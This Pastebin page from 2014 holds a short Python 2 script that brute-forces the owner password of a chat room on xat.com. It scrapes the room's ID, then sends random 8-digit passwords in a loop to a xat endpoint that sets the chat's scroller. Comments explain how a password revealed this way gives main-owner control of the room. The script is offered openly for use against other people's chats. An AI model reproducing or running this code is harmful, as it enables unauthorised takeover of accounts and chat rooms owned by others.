Advertisement
dopeFox

[Python 2.7.3] TheFox's xat chat password bruteforce

Nov 8th, 2014
387
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.06 KB | None | 0 0
  1. import urllib2, random, time
  2. import os, subprocess
  3. #NOTE: Once the bruteforce gets the password for the chat, the scroller on the bottom of the chat box will display the chat's password. Just use this link to get main owner: http://xat.com/web_gear/chat.php?id=CHAT'S ID&pw=THE PASSWORD ON THE SCROLLER
  4. #Also, Also, this will take a WHILE to get the chat's password. It will not find it right away, it's a bruteforce. Enjoy! ~ TheFox
  5.  
  6. Room = ''#Chat's NAME goes here, not ID.
  7. def getBetween(strSource, strStart,strEnd):
  8.     start = strSource.find(strStart) + len(strStart)
  9.     end = strSource.find(strEnd,start)
  10.     return strSource[start:end]
  11. Message = "Password: "
  12. Room = urllib2.urlopen('http://xat.com/' + Room).read()
  13. Chat = getBetween(Room,'flashvars="id=','&')
  14. while 1:
  15.     Password = random.randint(10000000,99999999)
  16.     Message2 = Message + " " + str(Password)
  17.     Scroller = urllib2.urlopen('http://xat.com/web_gear/chat/SetScroller.php?Message='+str(Message2)+'&id='+str(Chat)+'&pw='+str(Password)+'').read()
  18.     print "Trying password => " + str(Password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement